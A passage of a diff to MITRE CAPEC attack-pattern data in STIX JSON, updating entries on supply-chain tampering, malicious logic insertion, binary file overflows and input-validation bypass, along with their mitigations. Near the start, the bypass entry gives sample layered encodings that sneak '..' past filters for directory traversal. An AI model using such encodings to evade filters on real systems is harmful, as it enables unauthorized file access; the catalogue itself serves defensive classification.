able to control the result in the final string.\n [REF-1]\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine application/system inputs where bypassing input validation is desired: The attacker first needs to determine all of the application's/system's inputs where input validation is being performed and where they want to bypass it.

    2. Techniques
    While using an application/system, the attacker discovers an input where validation is stopping them from performing some malicious or unauthorized actions.

Experiment

  1. Determine which character encodings are accepted by the application/system: The attacker then needs to provide various character encodings to the application/system and determine which ones are accepted. The attacker will need to observe the application's/system's response to the encoded data to determine whether the data was interpreted properly.

    2. Techniques
    Determine which escape characters are accepted by the application/system. A common escape character is the backslash character, '\\'
    Determine whether URL encoding is accepted by the application/system.
    Determine whether UTF-8 encoding is accepted by the application/system.
    Determine whether UTF-16 encoding is accepted by the application/system.
    Determine if any other encodings are accepted by the application/system.

  2. Combine multiple encodings accepted by the application.: The attacker now combines encodings accepted by the application. The attacker may combine different encodings or apply the same encoding multiple times.

    3. Techniques
    Combine same encoding multiple times and observe its effects. For example, if special characters are encoded with a leading backslash, then the following encoding may be accepted by the application/system: \"\\\\\\.\". With two parsing layers, this may get converted to \"\\.\" after the first parsing layer, and then, to \".\" after the second. If the input validation layer is between the two parsing layers, then \"\\\\\\.\\\\\\.\" might pass a test for \"..\" but still get converted to \"..\" afterwards. This may enable directory traversal attacks.
    Combine multiple encodings and observe the effects. For example, the attacker might encode \".\" as \"\\.\", and then, encode \"\\.\" as \"\.\", and then, encode that using URL encoding to \"%26%2392%3B%26%2346%3B\"

Exploit

  1. Leverage ability to bypass input validation: Attacker leverages their ability to bypass input validation to gain unauthorized access to system. There are many attacks possible, and a few examples are mentioned here.

    2. Techniques
    Gain access to sensitive files.
    Perform command injection.
    Perform SQL injection.
    Perform XSS attacks.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--e827def7-6d74-48b4-8cd2-cd0e0ff00aeb" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--809958b7-bafc-4845-87c4-cab53e86cb67", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-43-0", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "An iterative approach to input validation may be required to ensure that no dangerous characters are present. It may be necessary to implement redundant checking across different input validation layers. Ensure that invalid data is rejected as soon as possible and do not continue to work with it.", - "type": "course-of-action", - "id": "course-of-action--809958b7-bafc-4845-87c4-cab53e86cb67" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--1cce6424-2120-47d0-979c-8ee21cfa1e1a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--1cce6424-2120-47d0-979c-8ee21cfa1e1a", "source_ref": "course-of-action--809958b7-bafc-4845-87c4-cab53e86cb67", "relationship_type": "mitigates", "target_ref": "attack-pattern--e827def7-6d74-48b4-8cd2-cd0e0ff00aeb" }, { + "id": "course-of-action--d94176ef-a1ff-499b-86b7-e94e8734ab6a", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-43-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Make sure to perform input validation on canonicalized data (i.e. data that is data in its most standard form). This will help avoid tricky encodings getting past the filters.", - "type": "course-of-action", - "id": "course-of-action--d94176ef-a1ff-499b-86b7-e94e8734ab6a" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--c2e5ce6d-7c06-4bf7-9b38-475351b97ad1", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--c2e5ce6d-7c06-4bf7-9b38-475351b97ad1", "source_ref": "course-of-action--d94176ef-a1ff-499b-86b7-e94e8734ab6a", "relationship_type": "mitigates", "target_ref": "attack-pattern--e827def7-6d74-48b4-8cd2-cd0e0ff00aeb" @@ -25108,17 +26692,32 @@ { "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "name": "coa-43-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "description": "Assume all input is malicious. Create an allowlist that defines all valid input to the software system based on the requirements specifications. Input that does not match against the allowlist would not be permitted to enter into the system.", + "x_capec_version": "3.3", + "type": "course-of-action", + "id": "course-of-action--f0f8d5a1-d4cc-4eac-b405-4af5e4a821c6" + }, + { + "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", + "created": "2014-06-23T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", + "object_marking_refs": [ + "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" + ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--618c458c-828f-48ab-a0c8-4e8173f5dfbc", - "source_ref": "course-of-action--6e1f571f-420f-43a6-aaf3-cc53394f7b97", + "id": "relationship--45fc127a-991a-47f3-a564-b96d95896f3c", + "source_ref": "course-of-action--f0f8d5a1-d4cc-4eac-b405-4af5e4a821c6", "relationship_type": "mitigates", "target_ref": "attack-pattern--e827def7-6d74-48b4-8cd2-cd0e0ff00aeb" }, { + "id": "attack-pattern--8428f01f-d4ca-4fb0-866d-8d5716b36265", "name": "DEPRECATED: Target Influence via Micro-Expressions", "description": "This attack pattern has been deprecated.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -25136,11 +26735,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--8428f01f-d4ca-4fb0-866d-8d5716b36265" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--76afdae0-2970-44dc-8ae0-fd04629b0dab", "name": "DEPRECATED: Target Influence via Neuro-Linguistic Programming (NLP)", "description": "This attack pattern has been deprecated.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -25158,11 +26757,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--76afdae0-2970-44dc-8ae0-fd04629b0dab" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--21fcd732-cb8b-4716-b74e-abdf6b031e14", "name": "DEPRECATED: Target Influence via Voice in NLP", "description": "This attack pattern has been deprecated.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -25180,11 +26779,11 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Deprecated", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--21fcd732-cb8b-4716-b74e-abdf6b031e14" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--6d30ec21-b3b4-435d-9045-acd660865e6a", "name": "Target Influence via The Human Buffer Overflow", "description": "An attacker utilizes a technique to insinuate commands to the subconscious mind of the target via communication patterns. The human buffer overflow methodology does not rely on over-stimulating the mind of the target, but rather embedding messages within communication that the mind of the listener assembles at a subconscious level. The human buffer-overflow method is similar to subconscious programming to the extent that messages are embedded within the message. The fundamental difference is that embedded messages have a complete semantic quality, rather than mere imagery, and the mind of the target tends to key off of particular dominant patterns. The remaining information, carefully structured, speaks directly to the subconscious with a subtle, indirect, command. The effect is to produce a pattern of thinking that the attacker has predetermined but is buried within the message and not overtly stated. Structuring a human \"buffer overflow\" requires precise attention to detail and the use of information in a manner that distracts the conscious mind from the message the subconscious is receiving.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -25209,11 +26808,11 @@ "x_capec_typical_severity": "Low", "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--6d30ec21-b3b4-435d-9045-acd660865e6a" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--c207660b-d5b1-4928-b472-251f19a094d0", "name": "Target Influence via Interview and Interrogation", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ @@ -25237,11 +26836,11 @@ "x_capec_typical_severity": "Low", "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--c207660b-d5b1-4928-b472-251f19a094d0" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--0618a68a-c6e1-4370-82d3-c76fa2745905", "name": "Target Influence via Instant Rapport", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "object_marking_refs": [ @@ -25265,11 +26864,11 @@ "x_capec_typical_severity": "Low", "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--0618a68a-c6e1-4370-82d3-c76fa2745905" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--1339dbbe-fe41-467a-b43c-7d56d22a9fe4", "name": "Modification During Manufacture", "description": "An attacker modifies a technology, product, or component during a stage in its manufacture for the purpose of carrying out an attack against some entity involved in the supply chain lifecycle. There are an almost limitless number of ways an attacker can modify a technology when they are involved in its manufacture, as the attacker has potential inroads to the software composition, hardware design and assembly, firmware, or basic design mechanics. Additionally, manufacturing of key components is often outsourced with the final product assembled by the primary manufacturer. The greatest risk, however, is deliberate manipulation of design specifications to produce malicious hardware or devices. There are billions of transistors in a single integrated circuit and studies have shown that fewer than 10 transistors are required to create malicious functionality.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -25277,13 +26876,31 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/438.html", "external_id": "CAPEC-438" }, + { + "source_name": "ATTACK", + "description": "Supply Chain Compromise:Compromise Software Dependencies and Development Tools", + "url": "https://attack.mitre.org/wiki/Technique/T1195/001", + "external_id": "T1195.001" + }, + { + "source_name": "ATTACK", + "description": "Supply Chain Compromise:Compromise Software Supply Chain", + "url": "https://attack.mitre.org/wiki/Technique/T1195/002", + "external_id": "T1195.002" + }, + { + "source_name": "ATTACK", + "description": "Supply Chain Compromise:Compromise Hardware Supply Chain", + "url": "https://attack.mitre.org/wiki/Technique/T1195/003", + "external_id": "T1195.003" + }, { "source_name": "reference_from_CAPEC", "description": "Information Technology Laboratory, Supply Chain Risk Management (SCRM), 2010, National Institute of Standards and Technology (NIST)", @@ -25307,11 +26924,11 @@ ], "x_capec_abstraction": "Meta", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--1339dbbe-fe41-467a-b43c-7d56d22a9fe4" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--59ba3504-6764-48b4-980a-40e4adff2030", "name": "Manipulation During Distribution", "description": "An attacker undermines the integrity of a product, software, or technology at some stage of the distribution channel. The core threat of modification or manipulation during distribution arise from the many stages of distribution, as a product may traverse multiple suppliers and integrators as the final asset is delivered. Components and services provided from a manufacturer to a supplier may be tampered with during integration or packaging.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -25319,13 +26936,36 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/439.html", "external_id": "CAPEC-439" }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1269.html", + "external_id": "CWE-1269" + }, + { + "source_name": "ATTACK", + "description": "Supply Chain Compromise:Compromise Software Dependencies and Development Tools", + "url": "https://attack.mitre.org/wiki/Technique/T1195/001", + "external_id": "T1195.001" + }, + { + "source_name": "ATTACK", + "description": "Supply Chain Compromise:Compromise Software Supply Chain", + "url": "https://attack.mitre.org/wiki/Technique/T1195/002", + "external_id": "T1195.002" + }, + { + "source_name": "ATTACK", + "description": "Supply Chain Compromise:Compromise Hardware Supply Chain", + "url": "https://attack.mitre.org/wiki/Technique/T1195/003", + "external_id": "T1195.003" + }, { "source_name": "reference_from_CAPEC", "description": "Information Technology Laboratory, Supply Chain Risk Management (SCRM), 2010, National Institute of Standards and Technology (NIST)", @@ -25348,11 +26988,11 @@ "External contractors involved in the packaging or testing of products or components may install software, or modify existing code, during distribution." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--59ba3504-6764-48b4-980a-40e4adff2030" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--d3634072-88f9-4711-987f-6bff7698bd4c", "name": "Overflow Binary Resource File", "description": "An attack of this type exploits a buffer overflow vulnerability in the handling of binary resources. Binary resources may include music files like MP3, image files like JPEG files, and any other binary file. These attacks may pass unnoticed to the client machine through normal usage of files, such as a browser loading a seemingly innocent JPEG file. This can allow the attacker access to the execution stack and execute arbitrary code in the target process. This attack pattern is a variant of standard buffer overflow attacks using an unexpected vector (binary files) to wrap its attack and open up a new attack vector. The attacker is required to either directly serve the binary content to the victim, or place it in a locale like a MP3 sharing application, for the victim to download. The attacker then is notified upon the download or otherwise locates the vulnerability opened up by the buffer overflow.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -25419,11 +27059,11 @@ "Binary files like music and video files are appended with additional data to cause buffer overflow on target systems. Because these files may be filled with otherwise popular content, the attacker has an excellent vector for wide distribution. There have been numerous cases, for example of malicious screen savers for sports teams that are distributed on the event of the team winning a championship." ], "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--d3634072-88f9-4711-987f-6bff7698bd4c" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--67074d87-d035-4907-8971-d22cf929a6a6", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2015-12-07T00:00:00.000Z", @@ -25432,36 +27072,39 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Perform appropriate bounds checking on all buffers.", - "type": "course-of-action", - "id": "course-of-action--67074d87-d035-4907-8971-d22cf929a6a6" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--158ab2a0-3900-4c6d-a6b8-f70b277abce5", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2015-12-07T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--158ab2a0-3900-4c6d-a6b8-f70b277abce5", "source_ref": "course-of-action--67074d87-d035-4907-8971-d22cf929a6a6", "relationship_type": "mitigates", "target_ref": "attack-pattern--d3634072-88f9-4711-987f-6bff7698bd4c" }, { + "id": "relationship--fbdf6185-93ce-4ed8-b163-4441304d2cec", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2015-12-07T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--fbdf6185-93ce-4ed8-b163-4441304d2cec", "source_ref": "course-of-action--a4112a44-a0f9-4bde-bebe-74ed96c4cd3f", "relationship_type": "mitigates", "target_ref": "attack-pattern--d3634072-88f9-4711-987f-6bff7698bd4c" }, { + "id": "course-of-action--3522f721-ee24-4278-806a-1288b6ca7ce2", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2015-12-07T00:00:00.000Z", @@ -25470,23 +27113,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Static code analysis", - "type": "course-of-action", - "id": "course-of-action--3522f721-ee24-4278-806a-1288b6ca7ce2" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--cb1919fb-3b75-486e-9e5c-c0319ac4b906", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2015-12-07T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--cb1919fb-3b75-486e-9e5c-c0319ac4b906", "source_ref": "course-of-action--3522f721-ee24-4278-806a-1288b6ca7ce2", "relationship_type": "mitigates", "target_ref": "attack-pattern--d3634072-88f9-4711-987f-6bff7698bd4c" }, { + "id": "course-of-action--5c9cdf1e-85f9-47f9-9628-f55b7c41c408", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2015-12-07T00:00:00.000Z", @@ -25495,23 +27140,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Execute program in less trusted process space environment, do not allow lower integrity processes to write to higher integrity processes", - "type": "course-of-action", - "id": "course-of-action--5c9cdf1e-85f9-47f9-9628-f55b7c41c408" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--f0901a46-1e3d-454b-aabc-5d7a0983c5b6", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2015-12-07T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--f0901a46-1e3d-454b-aabc-5d7a0983c5b6", "source_ref": "course-of-action--5c9cdf1e-85f9-47f9-9628-f55b7c41c408", "relationship_type": "mitigates", "target_ref": "attack-pattern--d3634072-88f9-4711-987f-6bff7698bd4c" }, { + "id": "course-of-action--1b905638-7933-43ac-ae9f-11ab064839c0", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2015-12-07T00:00:00.000Z", @@ -25520,23 +27167,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Keep software patched to ensure that known vulnerabilities are not available for attackers to target on host.", - "type": "course-of-action", - "id": "course-of-action--1b905638-7933-43ac-ae9f-11ab064839c0" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--04e85307-5593-45c3-9d89-5f4c7ce3220c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2015-12-07T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--04e85307-5593-45c3-9d89-5f4c7ce3220c", "source_ref": "course-of-action--1b905638-7933-43ac-ae9f-11ab064839c0", "relationship_type": "mitigates", "target_ref": "attack-pattern--d3634072-88f9-4711-987f-6bff7698bd4c" }, { + "id": "attack-pattern--7fd3928c-accb-4a35-ba64-000339399ede", "name": "Hardware Integrity Attack", "description": "An adversary exploits a weakness in the system maintenance process and causes a change to be made to a technology, product, component, or sub-component or a new one installed during its deployed use at the victim location for the purpose of carrying out an attack.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -25550,6 +27199,12 @@ "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/440.html", "external_id": "CAPEC-440" + }, + { + "source_name": "ATTACK", + "description": "Hardware Additions", + "url": "https://attack.mitre.org/wiki/Technique/T1200", + "external_id": "T1200" } ], "x_capec_likelihood_of_attack": "Low", @@ -25564,11 +27219,11 @@ }, "x_capec_abstraction": "Meta", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--7fd3928c-accb-4a35-ba64-000339399ede" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--13b94aaa-9c95-487c-ad68-8c29d8ac0068", "name": "Malicious Logic Insertion", "description": "An adversary installs or adds malicious logic (also known as malware) into a seemingly benign component of a fielded system. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. With the proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 802.11 support, new attack vectors for spreading malware are emerging for things we once thought of as innocuous greeting cards, picture frames, or digital projectors. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems and their components that are still under development and part of the supply chain.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -25601,11 +27256,11 @@ }, "x_capec_abstraction": "Meta", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--13b94aaa-9c95-487c-ad68-8c29d8ac0068" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--66112136-aa17-4300-aef8-d7a42ebc6e38", "name": "Infected Software", "description": "An adversary adds malicious logic, often in the form of a computer virus, to otherwise benign software. This logic is often hidden from the user of the software and works behind the scenes to achieve negative impacts. Many times, the malicious logic is inserted into empty space between legitimate code, and is then called when the software is executed. This pattern of attack focuses on software already fielded and used in operation as opposed to software that is still under development and part of the supply chain.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -25639,11 +27294,11 @@ }, "x_capec_abstraction": "Standard", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--66112136-aa17-4300-aef8-d7a42ebc6e38" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--f021edf5-f2c1-49c5-b1b9-a07bd11d1aec", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", @@ -25652,23 +27307,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Leverage anti-virus products to detect and quarantine software with known virus.", - "type": "course-of-action", - "id": "course-of-action--f021edf5-f2c1-49c5-b1b9-a07bd11d1aec" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--ff60912c-64b2-4d71-8e26-1ddcf4130fd3", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--ff60912c-64b2-4d71-8e26-1ddcf4130fd3", "source_ref": "course-of-action--f021edf5-f2c1-49c5-b1b9-a07bd11d1aec", "relationship_type": "mitigates", "target_ref": "attack-pattern--66112136-aa17-4300-aef8-d7a42ebc6e38" }, { + "id": "attack-pattern--42fc0c14-a6f7-4839-978f-d1553f68f750", "name": "Malicious Logic Inserted Into Product Software by Authorized Developer", "description": "An adversary uses their privileged position within an authorized software development organization to inject malicious logic into a codebase or product. Supply chain attacks from approved or trusted developers are extremely difficult to detect as it is generally assumed the quality control and internal security measures of these organizations conform to best practices. In some cases the malicious logic is intentional, embedded by a disgruntled employee, programmer, or individual with an otherwise hidden agenda. In other cases, the integrity of the product is compromised by accident (e.g. by lapse in the internal security of the organization that results in a product becoming contaminated). In other cases, the developer embeds a backdoor into a product to serve some purpose, such as product support, but discovery of the backdoor results in its malicious use by adversaries.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -25701,11 +27358,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--42fc0c14-a6f7-4839-978f-d1553f68f750" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--aa94cc6d-559e-4d78-ac28-7d751abed25b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", @@ -25714,23 +27371,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Assess software during development and prior to deployment to ensure that it functions as intended and without any malicious functionality.", - "type": "course-of-action", - "id": "course-of-action--aa94cc6d-559e-4d78-ac28-7d751abed25b" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--3a59e6b8-bdd2-4466-8030-2e8b733673a9", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2019-09-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--3a59e6b8-bdd2-4466-8030-2e8b733673a9", "source_ref": "course-of-action--aa94cc6d-559e-4d78-ac28-7d751abed25b", "relationship_type": "mitigates", "target_ref": "attack-pattern--42fc0c14-a6f7-4839-978f-d1553f68f750" }, { + "id": "attack-pattern--efb74200-657d-438c-aaff-bbd9644dd72d", "name": "Development Alteration", "description": "An adversary modifies a technology, product, or component during its development to acheive a negative impact once the system is deployed. The goal of the adversary is to modify the system in such a way that the negative impact can be leveraged when the system is later deployed. Development alteration attacks may include attacks that insert malicious logic into the system's software, modify or replace hardware components, and other attacks which negatively impact the system during development. These attacks generally require insider access to modify source code or to tamper with hardware components. The product is then delivered to the user where the negative impact can be leveraged at a later time.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -25764,11 +27423,11 @@ }, "x_capec_abstraction": "Standard", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--efb74200-657d-438c-aaff-bbd9644dd72d" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "course-of-action--d8829b7c-69b5-4edf-8446-07f8efda3255", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", @@ -25777,23 +27436,25 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Assess software and software components during development and prior to deployment to ensure that they function as intended and without any malicious functionality.", - "type": "course-of-action", - "id": "course-of-action--d8829b7c-69b5-4edf-8446-07f8efda3255" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--3f05e05a-2eec-4147-a5b0-18b6c29ec5da", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", "modified": "2018-07-31T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--3f05e05a-2eec-4147-a5b0-18b6c29ec5da", "source_ref": "course-of-action--d8829b7c-69b5-4edf-8446-07f8efda3255", "relationship_type": "mitigates", "target_ref": "attack-pattern--efb74200-657d-438c-aaff-bbd9644dd72d" }, { + "id": "attack-pattern--f7fd56fe-cc88-4200-907a-8ea3b89e1ddb", "name": "Malicious Logic Insertion into Product Software via Configuration Management Manipulation", "description": "An adversary exploits a configuration management system so that malicious logic is inserted into a software products build, update or deployed environment. If an adversary can control the elements included in a product's configuration management for build they can potentially replace, modify or insert code files containing malicious logic. If an adversary can control elements of a product's ongoing operational configuration management baseline they can potentially force clients receiving updates from the system to install insecure software when receiving updates from the server. Configuration management servers operate on the basis of a client pool, instructing each client on which software to install. In some cases the configuration management server will automate the software installation process. A malicious insider or an adversary who has compromised the server can alter the software baseline that clients must install, allowing the adversary to compromise a large number of satellite machines using the configuration management system. If an adversary can control elements of a product's configuration management for its deployed environment they can potentially alter fundamental security properties of the system based on assumptions that secure configurations are in place.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -25826,37 +27487,39 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": 